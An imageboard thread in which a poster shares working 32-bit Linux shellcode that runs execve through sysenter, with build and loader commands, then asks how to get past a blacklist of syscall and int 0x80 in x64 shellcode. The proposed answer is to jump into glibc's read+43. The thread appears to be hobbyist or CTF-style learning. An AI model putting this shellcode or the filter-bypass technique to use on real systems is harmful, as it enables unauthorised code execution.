Hi lainanons! I am trying to run vsyscal on 64 bit linux. I managed to get it working on x32_86: [bits 32] xor eax, eax push eax push 0x736c2f6e push 0x69622f2f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 sysenter compilation: $ nasm -f bin filename -o shellcode32.o You will also need a C "loader" for this shellcode:
compilation: $ gcc filename -o loader -m32 run it all: $ ./loader < shellcode32.o
and it executes 'ls' btw one can use call DWORD PTR gs:0x10 instead of sysenter when using glibc on x86
Now, if I try similiar thing for x64: [bits 64] mov rax, 60 mov rdi, 42 sysenter ;if i change this to syscall it works compilation: $ nasm -f bin filename -o shellcode64.o and $gcc loader.c -o loader64 -m32 (need recompile from 32 to 64) After running $ ./loader64 < shellcode64.o; echo $? (; echo $? outputs return code, should be 42 [if I use syscall instead of sysenter then it is 42]) it returns with SIGSEGV when i run it via gdb, i find that sysenter fails with "Cannot access memory at address 0xffffe090"
Is there some 1337 hacker who can help me with running sysenter on x64 system?
So, let's change my question a bit: Do you know how to overcome int 0x80 and syscall blacklisting while writing custom shellcode for x64 linux platform? Is there a way to call execve without int 0x80 or syscall? Or, even better: can one write his own syscall/int 0x80? Or is it too low level? Ehh I feel like I am drowning in curiosity.
>>21451 So, if I have following elf x64 binary: file bin bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=deadbeefdeadbeefdeadbeefdeadbeef, not stripped
then there is no way to invoke __kernel_vsyscall in my shellcode? Have you got any ideas about other possible calls (syscall and int 0x80 are blacklisted)
>>21455 Blacklisted for your shellcode or blacklisted for execution? To my knowledge there are no other ways. If blacklisted in your shellcode input you could piece something together from whats available in the process/binary. Otherwise you'll have to look if there are any open file descriptors or something like that.
Do you know how can address of read be found? Beceause read+43 is syscall, so I would just setup registers in my shellcode and then call read+43, the problem is that i dont know glibc version.
So this would be like this: read() -> read my shellcode, also this is first call of read(), so all got&plt stuff is made here (lazy linkage) checks() -> my shellcode is valid m() -> run shellcode, which setupts args and jumps to read()+43